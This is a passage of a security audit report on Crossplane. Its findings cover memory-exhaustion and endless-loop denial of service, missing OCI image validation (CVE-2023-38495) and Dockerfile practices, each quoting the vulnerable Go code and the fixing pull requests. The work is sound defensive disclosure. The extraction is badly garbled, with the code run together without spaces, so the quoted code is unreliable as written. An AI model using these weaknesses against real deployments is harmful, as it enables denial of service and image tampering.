\\nCrossplaneʼs\\nOCI\\nstore\\nIII\\nModerate\\nYes\\nCVEs\\nThe\\nfollowing\\nissues\\nwere\\nassigned\\nCVEs:\\n#\\nID\\nTitle\\nCVE\\nSeverity\\n11\\nADA-XP-23-11\\nPossible\\nimage\\ntampering\\nfrom \\nmissing\\nimage\\nvalidation\\nCVE-2023-38495\\nHigh\\n16\\nADA-XP-23-16\\nDenial\\nof\\nservice\\nfrom\\nlarge\\nimage\\nCVE-2023-37900\\nLowA D A - X P - 2 3 - 1 :\\nD e n i a l\\no f\\ns e r v i c e\\nf r o m\\n3 r d - p a r t y\\nv u l n e r a b i l i t y\\nID\\nADA-XP-23-1\\nComponent\\nCrossplane\\nOCI\\nstore\\nSeverity\\nModerate\\nFixed:\\nYes\\nIf\\nan\\nattacker\\ncan\\ncause\\nCrossplane\\nto\\nfetch\\nan\\nimage\\nwith\\na\\nmaliciously-cra\\u0000ed\\nmanifest,\\nthe\\nattacker\\ncan\\ncause\\na\\nDoS\\ncondition\\nfor\\nCrossplane\\nfrom\\nan\\nunrecoverable\\nOOM\\npanic.\\nThis\\nwill\\ncrash\\nthe\\nCrossplane\\ncontroller\\nand\\nwill\\ncause\\na\\ntemporary\\nDoS\\nof\\nthe\\nnode\\naffecting\\nother\\nservices.\\nThe\\nroot\\ncause\\nof\\nthe\\nissue\\nwas\\nin\\na\\n3rd-party\\ndependency.\\nThe\\nissue\\nhas\\nbeen\\nfixed.\\nAda\\nLogics\\nhas\\nrequested\\nissuance\\nof\\na\\nCVE\\nwhich\\nhas\\nnot\\nbeen\\nconfirmed.\\nThe\\nattacker\\nwill\\nneed\\nto\\ncompromise\\nthe\\nregistry\\nfrom\\nwhich\\nCrossplane\\nfetches\\nan\\nimage\\nor\\nby\\ntricking\\nthe\\nCrossplane\\nuser\\ninto\\nconsuming\\nan\\nimage\\nby\\nway\\nof\\ndependency\\nconfusion\\nor\\ntyposquatting\\nattack\\nvectors.\\nTo\\nlaunch\\na\\ntargeted\\nattack,\\nthe\\nthreat\\nactor\\nwill\\nneed\\nto\\nknow\\nwhich\\nimages\\ntheir\\nvictim\\nconsumes\\nin\\ntheir\\nCrossplane\\ndeployment.\\nAlternatively,\\nthey\\ncan\\nlaunch\\na\\nnon-targeted\\nattack\\nby\\ncompromising\\nimages\\nof\\npopular\\nand\\nwidely-used\\nimages.\\nOnce\\nthe\\nattacker\\nhas\\ncompromised\\nthe\\nregistry,\\nthe\\nattack\\nvector\\nis\\nfairly\\nsimple,\\nand\\ncra\\u0000ing\\nthe\\nmalicious\\nmanifest\\nis\\ntrivial.A D A - X P - 2 3 - 2 :\\nP o s s i b l e\\nO O M\\ni n\\ni n t e r n a l / x p k g\\nID\\nADA-XP-23-2\\nComponent\\nCrossplane\\nPackages\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4232\\ngithub.com/crossplane/crossplane/blob/master/internal/xpkg.Build()\\nis\\nsusceptible\\nto\\nan\\nOOM\\ncondition\\non\\nthe\\nhighlighted\\nline\\nbelow\\nifbuf\\non\\nthe\\nhighlighted\\nline\\ncontains\\na\\nlarge\\nbuffer.\\nhttps://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\\nnternal/xpkg/build.go#L82-L117\\n82\\n8384858687888990919293949596979899100101102103104105106107108109110111112113114funcBuild(ctxcontext.Context,bparser.Backend,pparser.Parser,lparser.Linter)(v1.Image,error){//GetYAMLstream.r,err:=b.Init(ctx)iferr!=nil{returnnil,errors.Wrap(err,errInitBackend)}deferfunc(){_=r.Close()}()\\n//Copystreamoncetoparseandoncewritetotarball.buf:=new(bytes.Buffer)pkg,err:=p.Parse(ctx,annotatedTeeReadCloser(r,buf))iferr!=nil{returnnil,errors.Wrap(err,errParserPackage)}iferr:=l.Lint(pkg);err!=nil{returnnil,errors.Wrap(err,errLintPackage)}\\n//Writeon-diskpackagecontentstotarball.tarBuf:=new(bytes.Buffer)tw:=tar.NewWriter(tarBuf)\\nhdr:=&tar.Header{Name:StreamFile,Mode:int64(StreamFileMode),Size:int64(buf.Len()),}iferr:=tw.WriteHeader(hdr);err!=nil{returnnil,errors.Wrap(err,errTarFromStream)}if_,err=io.Copy(tw,buf);err!=nil{returnnil,errors.Wrap(err,errTarFromStream)}115116117iferr:=tw.Close();err!=nil{returnnil,errors.Wrap(err,errTarFromStream)}\\nIn\\nthe\\ncase\\nof\\nan\\nexcessively\\nlargebuf\\non\\nline\\n112,\\nGo\\nwill\\nperform\\na\\nsigkill,\\nbut\\nbefore\\ndoing\\nso,\\nthe\\nmachine\\nrunning\\nCrossplane\\nwill\\nexperience\\na\\ntemporary\\nDoS\\ncondition\\nthat\\nwill\\naffect\\nother\\nservices\\nas\\nwell.A D A - X P - 2 3 - 3 :\\nP o s s i b l e\\nO O M\\nw h e n\\nr e a d i n g\\nX f n\\nc o m m a n d\\no u t p u t\\nID\\nADA-XP-23-3\\nComponent\\nComposite\\nFunctions\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4217\\nThis\\nissue\\naffects\\nan\\nalpha\\nfeature\\nin\\nCrossplane.\\nIf\\nan\\nattacker\\ncan\\ncontrol\\nthe\\ninput\\nto\\nan\\nXfn,\\nthey\\ncan\\ntrigger\\nan\\nOOM\\nDoS\\nissue.\\nThe\\nattacker\\nwould\\nneed\\nto\\ncause\\nthe\\nXfn\\nto\\ncreate\\na\\nlarge\\nStdout\\nbuffer,\\nand\\nthe\\nOOM\\nwould\\nhappen\\nwhen\\nCrossplane\\nreads\\nit\\nentirely\\ninto\\nmemory\\non\\nthe\\nhighlighted\\nline:\\nhttps://github.com/crossplane/crossplane/blob/b01a0f8c0830f038514714baf24deb7ef21bbad4/c\\nmd/xfn/spark/spark.go#L81\\n81...132\\n133134135136137138139\\n140141142143144145146147148...157\\n158159160161162func(c*Command)Run()error{...p:=oci.NewCachingPuller(h,store.NewImage(c.CacheDir),&oci.RemoteClient{})img,err:=p.Image(ctx,r,FromImagePullConfig(req.GetImagePullConfig()))iferr!=nil{returnerrors.Wrap(err,errPull)}\\n//CreateanOCIruntimebundleforthiscontainerrun.b,err:=s.Bundle(ctx,img,runID,FromRunFunctionConfig(req.GetRunFunctionConfig()))iferr!=nil{returnerrors.Wrap(err,errBundleFn)}\\nroot:=filepath.Join(c.CacheDir,ociRuntimeRoot)iferr:=os.MkdirAll(root,0700);err!=nil{_=b.Cleanup()returnerrors.Wrap(err,errMkRuntimeRootdir)}...cmd:=exec.CommandContext(ctx,c.Runtime,\\\"--root=\\\"+root,\\\"run\\\",\\\"--bundle=\\\"+b.Path(),runID)cmd.Stdin=bytes.NewReader(req.GetInput())\\nout,err:=cmd.Output()iferr!=nil{_=b.Cleanup()163164165166167168169170171172173174175176returnerrors.Wrap(err,errRuntime)}iferr:=b.Cleanup();err!=nil{returnerrors.Wrap(err,errCleanupBundle)}\\nrsp:=&v1alpha1.RunFunctionResponse{Output:out}pb,err=proto.Marshal(rsp)iferr!=nil{returnerrors.Wrap(err,errMarshalResponse)}_,err=os.Stdout.Write(pb)returnerrors.Wrap(err,errWriteResponse)}A D A - X P - 2 3 - 4 :\\nP o s s i b l e\\nO O M\\nw h e n\\nr e a d i n g\\nX f n\\nc o m m a n d\\no u t p u t\\nID\\nADA-XP-23-4\\nComponent\\nComposite\\nFunctions\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4217\\nThis\\nissue\\naffects\\nan\\nalpha\\nfeature\\nin\\nCrossplane.\\nThis\\nissue\\nis\\nsimilar\\nto\\nADA-XP-23-3\\nin\\nroot\\ncause,\\nattack\\nvector\\nand\\nimpact.\\nhttps://github.com/crossplane/crossplane/blob/b01a0f8c0830f038514714baf24deb7ef21bbad4/internal/xfn\\n/container_linux.go#L83\\n83\\n...\\n138139140141142143144145146147148149150151152153...157158159160...163164165166167168func(r*ContainerRunner)RunFunction(ctxcontext.Context,req*v1alpha1.RunFunctionRequest)(*v1alpha1.RunFunctionResponse,error){...\\nstdio,err:=StdioPipes(cmd,r.rootUID,r.rootGID)iferr!=nil{returnnil,errors.Wrap(err,errCreateStdioPipes)}\\nb,err:=proto.Marshal(req)iferr!=nil{returnnil,errors.Wrap(err,errMarshalRequest)}iferr:=cmd.Start();err!=nil{returnnil,errors.Wrap(err,errStartSpark)}if_,err:=stdio.Stdin.Write(b);err!=nil{returnnil,errors.Wrap(err,errWriteRequest)}\\niferr:=stdio.Stdin.Close();err!=nil{returnnil,errors.Wrap(err,errCloseStdin)}\\nstdout,err:=io.ReadAll(stdio.Stdout)iferr!=nil{returnnil,errors.Wrap(err,errReadStdout)}\\nstderr,err:=io.ReadAll(stdio.Stderr)169170171172...180iferr!=nil{returnnil,errors.Wrap(err,errReadStderr)}\\n...}A D A - X P - 2 3 - 5 :\\nD o c k e r fi l e s\\nd o\\nn o t\\nf o l l o w\\nb e s t\\np r a c t i c e s\\nr e g a r d i n g\\nC O P Y\\nv s\\nA D D\\nID\\nADA-XP-23-5\\nComponent\\nCrossplane\\nCluster \\nImages\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4173\\nDockers\\nbest\\npractices\\ndocumentation\\nrecommends\\nusingCOPY\\ninstead\\nofADD\\n:\\nhttps://docs.docker.com/develop/develop-images/dockerfile_best-practices/#add-or-copy\\nCrossplane\\ndoes\\nnot\\nfollow\\nthis\\nbest\\npractices\\nthe\\nfollowing\\nplaces:\\nhttps://github.com/crossplane/crossplane/blob/192a09266e10f1873020201043b5782cdef8ce8f/clu\\nster/images/xfn/Dockerfile\\n14ADDbin/${TARGETOS}\\\\_${TARGETARCH}/xfn/usr/local/bin/\\nhttps://github.com/crossplane/crossplane/blob/19be2ce66814569829d13e9ecc3ba2cfc6b245bb/cl\\nuster/images/crossplane/Dockerfile\\n67ADDbin/$TARGETOS\\\\_$TARGETARCH/crossplane/usr/local/bin/ADDcrds/crds\\nA D A - X P - 2 3 - 6 :\\nI n s u \\u0000 c i e n t\\nd o c u m e n t a t i o n\\no n\\ns e c u r i t y\\ni m p l i c a t i o n s\\no f\\nu s i n g\\nt a g s\\nf o r\\nr e m o t e\\ni m a g e s\\nID\\nADA-XP-23-6\\nComponent\\nCrossplane \\nDocumentation\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/docs/pull/465\\nThe\\nCrossplane\\ndocumentation\\nrecommends\\nreferencing\\nimages\\nwith\\ndigests\\nrather\\nthan\\ntags.\\nHowever,\\nthe\\ndocumentation\\ndoes\\nnot\\nmention\\nthe\\nsecurity\\nconcerns\\nof\\nreferencing\\nby\\ntags.\\nWhen\\nreferencing\\nan\\nimage\\nby\\ntag,\\nusers\\nmay\\nreceive\\na\\ndifferent\\nimage\\nthan\\nthey\\nexpect,\\nand\\nit\\nis\\nharder\\nto\\nvalidate\\nthe\\nreceived\\nimage.\\nThis\\nmakes\\nit\\neasy\\nfor\\nan\\nattacker\\nto\\ntamper\\nwith\\nan\\nimage\\nand\\navoid\\ndetection\\nin\\ncase\\nof\\na\\nsuccessful\\nattack\\nagainst\\nthe\\nCrossplane\\nuser.\\nCrossplane\\nusers\\nconsuming\\npackages\\nfrom\\na\\nprivate\\nregistry\\nare\\nalso\\naffected\\nby\\nthis\\nsince\\nattackers\\ncan\\ncompromise\\nthe\\nregistry\\nand\\nchange\\nthe\\nunderlying\\nimage\\nthat\\na\\ntag\\nrefers\\nto.\\nWe\\nrecommend\\nmaking\\nit\\nexplicit\\nin\\nthe\\ndocumentation\\nthat\\nreferencing\\nimages\\nby\\ntag\\nhas\\nconsiderate\\nsecurity\\ndownsides.A D A - X P - 2 3 - 7 :\\nC r o s s p l a n e ’ s\\nO C I\\ns t o r e\\nd o e s\\nn o t\\nv a l i d a t e\\nf o r\\ni n v a r i a n t s\\ni n\\ni m a g e s\\nID\\nADA-XP-23-7\\nComponent\\nCrossplaneʼs\\nOCI\\nstore\\nSeverity\\nModerate\\nFixed:\\nNo\\nThis\\nissue\\naffects\\nan\\nalpha\\nfeature\\nin\\nCrossplane.\\nIt\\nhas\\nnot\\nbeen\\nfixed\\nby\\nthe\\ncompletion\\nof\\nthe\\nsecurity\\naudit,\\nbut\\nCrossplane\\nis\\nworking\\non\\na\\nfix\\nhere:\\nhttps://github.com/crossplane/crossplane/pull/4214\\nCrossplaneʼs\\nOCI\\nstore\\ndoes\\nnot\\nvalidate\\nlayers,\\nconfig\\nand\\nmanifests\\nof\\nimages.\\nCrossplane\\nuses\\ngithub.com/google/go-containerregistry\\nfor\\nthe\\nunderlying\\nimage\\ninterface.\\ngo-containerregistry\\nhas\\na\\nvalidation\\nAPI\\nfor\\nimages\\nwhich\\nis\\navailable\\nhere:\\nhttps://github.com/google/go-containerregistry/blob/ca48523123223c5ea478501e6cb1a9\\n1a64a8a049/pkg/v1/validate/image.go#L30\\n.\\nThis\\nAPI\\nvalidates\\nthe\\nlayers,\\nconfigs\\nand\\nmanifests\\nof\\nan\\nimage\\nand\\nreturns\\nan\\nerror\\nif\\nany\\nstep\\nof\\nthe\\nvalidation\\nfails.\\nCrossplane\\nuses\\nthis\\nvalidation\\nAPI\\nwhen\\nwriting\\na\\nsupplied\\nimage\\nto\\nthe\\nOCI\\nstore:\\nhttps://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\\nnternal/oci/store/store.go#L158\\n145146147148149150151152154154...158\\n159func(i*Image)Image(hociv1.Hash)(ociv1.Image,error){uncompressed:=image{root:i.root,h:h}\\n...//returnanerror.oi,err:=partial.UncompressedToImage(uncompressed)iferr!=nil{returnnil,errors.Wrap(err,errPartial)}\\n...returnoi,errors.Wrap(validate.Image(oi,validate.Fast),errInvalidImage)}\\nThis\\nAPI\\nis\\ncalled\\nin\\nbefore\\nwriting\\nthe\\nimage\\nto\\nthe\\nlocal\\nstore\\nhere:https://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\\nnternal/oci/store/store.go#L168\\n162163164165166167168169170171...216func(i*Image)WriteImage(imgociv1.Image)error{d,err:=img.Digest()iferr!=nil{returnerrors.Wrap(err,errGetDigest)}\\nif_,err=i.Image(d);err==nil{//Imagealreadyexistsinthestore.returnnil}...}\\nThis\\nusage\\nof\\nthe\\ngo-containerregistrys\\nvalidation\\nAPI\\nwill\\nnot\\ncatch\\nvalidation\\nerrors,\\nsince\\nCrossplane\\ndoes\\nnot\\ncatch\\nerrors.\\nAs\\nsuch,\\nif\\nany\\nlayers\\nin\\nthe\\nimage\\nhave\\nbeen\\ntampered\\nwith,\\nCrossplane\\nwill\\nnot\\nvalidate\\nand\\ncatch\\nthis\\nto\\nprevent\\nthe\\nuser\\nfrom\\nconsuming\\nthe\\nimage.A D A - X P - 2 3 - 8 :\\ng P R C\\nc o n n e c t i o n\\nn o t\\nc l o s e d\\nID\\nADA-XP-23-8\\nComponent\\nCrossplaneʼs\\nOCI\\nstore\\nSeverity\\nLow\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4174\\nThis\\nissue\\nimpacts\\nan\\nalpha-feature\\nin\\nCrossplane.\\nCrossplane\\nkeeps\\nthe\\ngRPC\\nconnection\\nof\\ncomposite\\nfunctions\\nopen\\nin\\ncase\\nany\\nof\\nthe\\npassed\\noptions\\nfail:\\nhttps://github.com/crossplane/crossplane/blob/001d0577249ebb4fcb0d315bf7eb452d5dc5b1ad/i\\nnternal/controller/apiextensions/composite/composition_ptf.go#L793-L820\\n793\\n794795796797789799800801802803804\\n805806807808809810811812813814815816817818819820821822funcRunFunction(ctxcontext.Context,fnio*iov1alpha1.FunctionIO,fn*v1.ContainerFunction,o...ContainerFunctionRunnerOption)(*iov1alpha1.FunctionIO,error){in,err:=yaml.Marshal(fnio)iferr!=nil{returnnil,errors.Wrap(err,errMarshalFnIO)}\\ntarget:=DefaultTargetiffn.Runner!=nil&&fn.Runner.Endpoint!=nil{target=*fn.Runner.Endpoint}\\nconn,err:=grpc.DialContext(ctx,target,grpc.WithTransportCredentials(insecure.NewCredentials()))iferr!=nil{returnnil,errors.Wrap(err,errDialRunner)}\\nreq:=&fnv1alpha1.RunFunctionRequest{Image:fn.Image,Input:in,ImagePullConfig:ImagePullConfig(fn),RunFunctionConfig:RunFunctionConfig(fn),}\\nfor_,opt:=rangeo{iferr:=opt(ctx,fn,req);err!=nil{returnnil,errors.Wrap(err,errApplyRunFunctionOption)}}\\nrsp,err:=823824825826827828829830831832...835836837fnv1alpha1.NewContainerizedFunctionRunnerServiceClient(conn).RunFunction(ctx,req)iferr!=nil{//TODO(negz):ParseanygRPCstatuscodes._=conn.Close()returnnil,errors.Wrap(err,errRunFnContainer)}\\niferr:=conn.Close();err!=nil{returnnil,errors.Wrap(err,errCloseRunner)}\\n...out:=&iov1alpha1.FunctionIO{}returnout,errors.Wrap(yaml.Unmarshal(rsp.Output,out),errUnmarshalFnIO)}A D A - X P - 2 3 - 9 :\\nP o s s i b l e\\ne n d l e s s\\nd a t a\\na t t a c k\\ni n\\nC r o s s p l a n e ’ s\\nI m a g e\\nb a c k e n d\\nID\\nADA-XP-23-9\\nComponent\\nCrossplaneʼs\\nOCI\\nstore\\nSeverity\\nModerate\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4348\\nCrossplaneʼs\\nimage\\nbackend\\nis\\nsusceptible\\nto\\nan\\nendless\\ndata\\nattack\\nfrom\\nan\\nunrestricted\\nloop\\nthrough\\nmanifest\\nlayers\\nin\\nCrossplane\\npackages.\\nTo\\nlaunch\\nthis\\nattack,\\nthe\\nattacker\\nneeds\\nto\\ncra\\u0000\\nan\\nimage\\ncontaining\\na\\nmanifest\\nwith\\na\\nhigh\\nnumber\\nof\\nlayers.\\nThen,\\nthey\\nneed\\nto\\neither\\ncompromise\\nthe\\nregistry\\nor\\ntrick\\nthe\\nuser\\ninto\\nconsuming\\nthe\\nimage\\nby\\nway\\nof\\ndependency\\nconfusion\\nor\\ntyposquatting\\nattack\\nvectors.\\nThe\\nimpact\\nwill\\nbe\\nthat\\nthe\\nrevision\\ncontroller\\nwill\\nbe\\nstuck\\nin\\nan\\ninfinite\\nloop\\nand\\nbe\\nprevented\\nfrom\\nfinishing\\nthe\\ntask\\nand\\ndoing\\nother\\nsubsequent\\ntasks.\\nThe\\nissue\\nhas\\nits\\nroot\\ncause\\nin\\nthe\\nimage\\nbackend:\\nhttps://github.com/crossplane/crossplane/blob/f32e27f375b0218ccaf49e072c5661d71f368131/int\\nernal/controller/pkg/revision/imageback.go#LL94C1-L110C4\\n9495\\n96979899100101102103104105106107108\\n109110//Fetchimagefromregistry.img,err:=i.fetcher.Fetch(ctx,ref,v1.RefNames(n.pr.GetPackagePullSecrets())...)iferr!=nil{returnnil,errors.Wrap(err,errFetchPackage)}//Getimagemanifest.manifest,err:=img.Manifest()iferr!=nil{returnnil,errors.Wrap(err,errGetManifest)}//Determineiftheimageisusingannotatedlayers.vartarcio.ReadCloserfoundAnnotated:=falsefor_,l:=rangemanifest.Layers{ifa,ok:=l.Annotations[layerAnnotation];!ok||a!=baseAnnotationValue{continue}\\nAn\\nattacker\\ncan\\nadd\\na\\nhigh\\nnumber\\nof\\nlayers\\nto\\nthe\\nmanifest\\nwhich\\ncan\\ncause\\nCrossplane\\nto\\ngo\\ninto\\nan\\ninfinite\\nloop.A D A - X P - 2 3 - 1 0 :\\nD e n i a l\\no f\\ns e r v i c e\\nf r o m\\nm a l i c i o u s\\nC r o s s p l a n e\\np a c k a g e\\nID\\nADA-XP-23-10\\nComponent\\nRevision\\nimage\\nbackend\\nSeverity\\nModerate\\nFixed\\nin:\\nhttps://github.com/google/go-containerregistry/pull/1742\\nIf\\nCrossplaneʼs\\nimage\\nbackend\\ndoes\\nnot\\nfind\\nan\\nannotated\\nfile,\\nit\\nwill\\ncall\\ngo-containerregistryʼsExtract()\\nAPI\\npassing\\nthe\\nfetched\\nimage:\\nhttps://github.com/crossplane/crossplane/blob/f32e27f375b0218ccaf49e072c5661d71f368131/int\\nernal/controller/pkg/revision/imageback.go#L131-L133\\n131132133if!foundAnnotated{tarc=mutate.Extract(img)}\\nWhen\\ngo-containerregistry\\nextracts\\nthe\\nimage,\\nit\\ndecompresses\\neach\\nlayer\\nand\\nultimately\\ncopies\\nthe\\ncontents\\nfrom\\na\\ntar\\nReader\\nto\\na\\ntar\\nWriter:\\nhttps://github.com/google/go-containerregistry/blob/03b86570e60f261bf4a79b903d73e03cb8629\\n10b/pkg/v1/mutate/mutate.go#L331-L340\\n332332333334335336\\n337338339340if!tombstone{iferr:=tarWriter.WriteHeader(header);err!=nil{returnerr}ifheader.Size>0{if_,err:=io.CopyN(tarWriter,tarReader,header.Size);err!=nil{returnerr}}}\\nWhen\\ncopying\\nthe\\nfile,\\nthere\\nis\\nno\\nupper\\nlimit\\nto\\nthe\\nfile\\nsize\\nwhich\\nallows\\nan\\nattacker\\nto\\ncompress\\na\\nlarge\\nlayer\\nthat\\nwill\\ncrash\\ngo-containerregistry\\nand\\nthereby\\nCrossplane\\nwith\\nan\\nout\\nof\\nmemory\\npanic.A D A - X P - 2 3 - 1 1 :\\nP o s s i b l e\\ni m a g e\\nt a m p e r i n g\\nf r o m\\nm i s s i n g\\ni m a g e\\nv a l i d a t i o n\\nID\\nADA-XP-23-11\\nComponent\\nRevision\\nimage\\nbackend\\nSeverity\\nHigh\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4370\\nCrossplaneʼs\\nimage\\nbackend\\nis\\nsusceptible\\nto\\nan\\nimage\\ntampering\\nattack\\ndue\\nto\\ninsufficient\\nvalidation\\nof\\nCrossplane\\npackages.\\nAn\\nattacker\\ncan\\nlaunch\\nan\\nattack\\nagainst\\nCrossplane\\nby\\ncompromising\\nthe\\nregistry\\nfrom\\nwhich\\nCrossplane\\nfetches\\nthe\\nimage.\\nThe\\nattacker\\ncould\\nthen\\nreplace\\nthe\\nimage\\nthat\\nthe\\nuser\\nis\\nreferencing\\nand\\ntrick\\nCrossplane\\nusers\\ninto\\nfetching\\na\\ntampered\\nimage.\\nCrossplane\\nusers\\ncan\\nreference\\nimages\\nby\\ntags\\nor\\ndigests.\\nDigests\\nare\\nthe\\nmore\\nsecure\\nway\\nto\\nreference,\\nhowever,\\nin\\nthis\\ncase,\\neven\\nif\\nthe\\nuser\\nreferenced\\nan\\nimage\\nby\\ndigest,\\nthe\\nuser\\nhad\\ninsufficient\\nguarantee\\nthat\\nthe\\nimage\\nthey\\nfetched\\nwas\\nthe\\ncorrect\\none.\\nCrossplane\\nfixed\\nthe\\nissue\\nby\\nvalidating\\nboth\\nthe\\nimage\\nitself\\nas\\nwell\\nas\\neach\\nlayer\\nin\\nthe\\nfetched\\nimage\\nmanifest.\\nCVE-2023-38495\\nhas\\nbeen\\nassigned\\nthis\\nfinding.A D A - X P - 2 3 - 1 2 :\\nP o s s i b l e\\ne n d l e s s\\nd a t a\\na t t a c k\\ni n\\nP r o v i d e r R e v i s i o n\\nc o n t r o l l e r\\nID\\nADA-XP-23-12\\nComponent\\nProviderRevision \\ncontroller\\nSeverity\\nModerate\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4347\\nA\\nCrossplane\\nuser\\nthat\\ncan\\nsend\\na\\nrequest\\nto\\nthe\\nProviderRevision\\ncontroller\\ncan\\nlaunch\\nan\\nendless\\ndata\\nattack\\nagainst\\nthe\\ncontroller\\nif\\nthe\\nrequest\\nhas\\na\\nhigh\\nnumber\\nof\\npolicy\\nrules.\\nThe\\nreconciler\\nvalidates\\nincoming\\nrequests\\nby\\nway\\nofValidatePermissionRequests()\\n,\\nhttps://github.com/crossplane/crossplane/blob/5abc44508f88d892535fc8608d5e35ad5df\\nb5a0a/internal/controller/rbac/provider/roles/reconciler.go#L303\\n,\\nwhich\\nloops\\nthrough\\nthe\\nrequests\\npolicy\\nrules:\\nhttps://github.com/crossplane/crossplane/blob/f32e27f375b0218ccaf49e072c5661d71f368131/int\\nernal/controller/rbac/provider/roles/requests.go#L174-L193\\n174\\n175176\\n177178179180181182183184185186187188189190191192193func(v*ClusterRoleBackedValidator)ValidatePermissionRequests(ctxcontext.Context,requests...rbacv1.PolicyRule)([]Rule,error){cr:=&rbacv1.ClusterRole{}iferr:=v.client.Get(ctx,types.NamespacedName{Name:v.name},cr);err!=nil{returnnil,errors.Wrap(err,errGetClusterRole)}\\nt:=newNode()for_,rule:=rangeExpand(cr.Rules...){t.Allow(rule.path())}\\nrejected:=make([]Rule,0)for_,rule:=rangeExpand(requests...){if!t.Allowed(rule.path()){rejected=append(rejected,rule)}}\\nreturnrejected,nil}If\\nthe\\nlength\\nof\\nrequests\\nis\\nsufficiently\\nlarge,\\na\\nthreat\\nactor\\ncan\\ncause\\nCrossplane\\ninto\\nspending\\nexcessive\\ntime\\non\\nthis\\nloop\\nand\\ncan\\nuse\\nthat\\nto\\nprevent\\nthe\\ncontroller\\nfrom\\nperforming\\nother\\ntasks,\\nsuch\\nas\\nupgrading\\nProviders.\\nAn\\nattacker\\ncould\\nleverage\\nthat\\nto\\nprevent\\nCrossplane\\nfrom\\nupgrading\\nto\\na\\nsecure\\nProvider\\npackage\\nwhile\\nexploiting\\na\\nknown\\nvulnerability\\nin\\nthe\\ncurrent\\nversion\\nof\\nthe\\npackage.A D A - X P - 2 3 - 1 3 :\\nP o s s i b l e\\ne n d l e s s\\nd a t a\\na t t a c k\\ni n\\nC r o s s p l a n e ’ s\\nO C I\\ns t o r e\\nI\\nID\\nADA-XP-23-13\\nComponent\\nCrossplaneʼs\\nOCI\\nstore\\nSeverity\\nModerate\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4203\\nThis\\nissue\\naffects\\nan\\nalpha\\nfeature\\nin\\nCrossplane.\\nCrossplaneʼs\\nOCI\\nstore\\nis\\nsusceptible\\nto\\nan\\nendless\\ndata\\nattack\\nif\\nthe\\nimage\\nthat\\nCrossplane\\nfetches\\nhas\\na\\nhigh\\nnumber\\nof\\nlayers.\\nAn\\nattacker\\ncan\\nlaunch\\nthe\\nattack\\nagainst\\nCrossplane\\nby\\ncompromising\\nthe\\nregistry\\nand\\nreplacing\\nthe\\noriginal\\nimage\\nwith\\na\\ntampered\\nimage\\ncontaining\\na\\nhigh\\nnumber\\nof\\nlayers\\nor\\nby\\ntricking\\na\\nCrossplane\\nuser\\ninto\\nfetching\\nthe\\nimage\\nby\\nway\\nof\\ndependency\\nconfusion\\nor\\ntyposquatting\\nattack\\nvectors.\\nThe\\nroot\\ncause\\nof\\nthe\\nissue\\nis\\nthat\\nthe\\nCrossplane\\nloops\\nthrough\\nthe\\nlayers\\nof\\nthe\\nfetched\\nimage\\nwithout\\nan\\nupper\\nlimit.\\nAn\\nattacker\\ncan\\nadd\\na\\nhigh\\nnumber\\nof\\nlayers\\nto\\nthe\\nmanifest\\nwhich\\ncan\\ncause\\nCrossplane\\nto\\ngo\\ninto\\nan\\ninfinite\\nloop.\\nhttps://github.com/crossplane/crossplane/blob/b01a0f8c0830f038514714baf24deb7ef21bbad4/in\\nternal/oci/store/overlay/store_overlay.go#L166\\n166\\n167168169170171172173174175176177178179180181182183184func(c*CachingBundler)Bundle(ctxcontext.Context,iociv1.Image,idstring,o...spec.Option)(store.Bundle,error){cfg,err:=i.ConfigFile()iferr!=nil{returnnil,errors.Wrap(err,errReadConfigFile)}\\nlayers,err:=i.Layers()iferr!=nil{returnnil,errors.Wrap(err,errGetLayers)}\\nlowerPaths:=make([]string,len(layers))fori:=rangelayers{p,err:=c.layer.Resolve(ctx,layers[i],layers[:i]...)iferr!=nil{returnnil,errors.Wrap(err,errResolveLayer)}lowerPaths[i]=p}A D A - X P - 2 3 - 1 4 :\\nP o s s i b l e\\ne n d l e s s\\nd a t a\\na t t a c k\\ni n\\nC r o s s p l a n e ’ s\\nO C I\\ns t o r e\\nI I\\nID\\nADA-XP-23-14\\nComponent\\nCrossplaneʼs\\nOCI\\nstore\\nSeverity\\nModerate\\nFixed\\nin:\\nhttps://github.com/crossplane/crossplane/pull/4203\\nThis\\nissue\\naffects\\nan\\nalpha\\nfeature\\nin\\nCrossplane.\\nThis\\nissue\\nis\\nsimilar\\nto\\nADA-XP-23-13\\nin\\nattack\\nvector,\\nimpact\\nand\\nroot\\ncause\\nbut\\naffects\\nthe\\nhandling\\nof\\nuncompressed\\nlayers.\\nhttps://github.com/crossplane/crossplane/blob/d0d7527f92869a780a49d25d15fea0ed54f3bf0b/in\\nternal/oci/store/uncompressed/store_uncompressed.go#L89\\n89\\n90919293949596979899100101102103104105106107108109110111112113114115116117func(c*Bundler)Bundle(ctxcontext.Context,iociv1.Image,idstring,o...spec.Option)(store.Bundle,error){cfg,err:=i.ConfigFile()iferr!=nil{returnnil,errors.Wrap(err,errReadConfigFile)}\\nlayers,err:=i.Layers()iferr!=nil{returnnil,errors.Wrap(err,errGetLayers)}\\npath:=filepath.Join(c.root,id)rootfs:=filepath.Join(path,store.DirRootFS)iferr:=os.MkdirAll(rootfs,0700);err!=nil{returnnil,errors.Wrap(err,errMkRootFS)}b:=Bundle{path:path}\\nfor_,l:=rangelayers{tb,err:=l.Uncompressed()iferr!=nil{_=b.Cleanup()returnnil,errors.Wrap(err,errOpenLayer)}iferr:=c.tarball.Apply(ctx,tb,rootfs);err!=nil{_=tb.Close()_=b.Cleanup()returnnil,errors.Wrap(err,errApplyLayer)}118119120121122iferr:=tb.Close();err!=nil{_=b.Cleanup()returnnil,errors.Wrap(err,errCloseLayer)}}\\nAn\\nattacker\\ncan\\nadd\\na\\nhigh\\nnumber\\nof\\nlayers\\nto\\nthe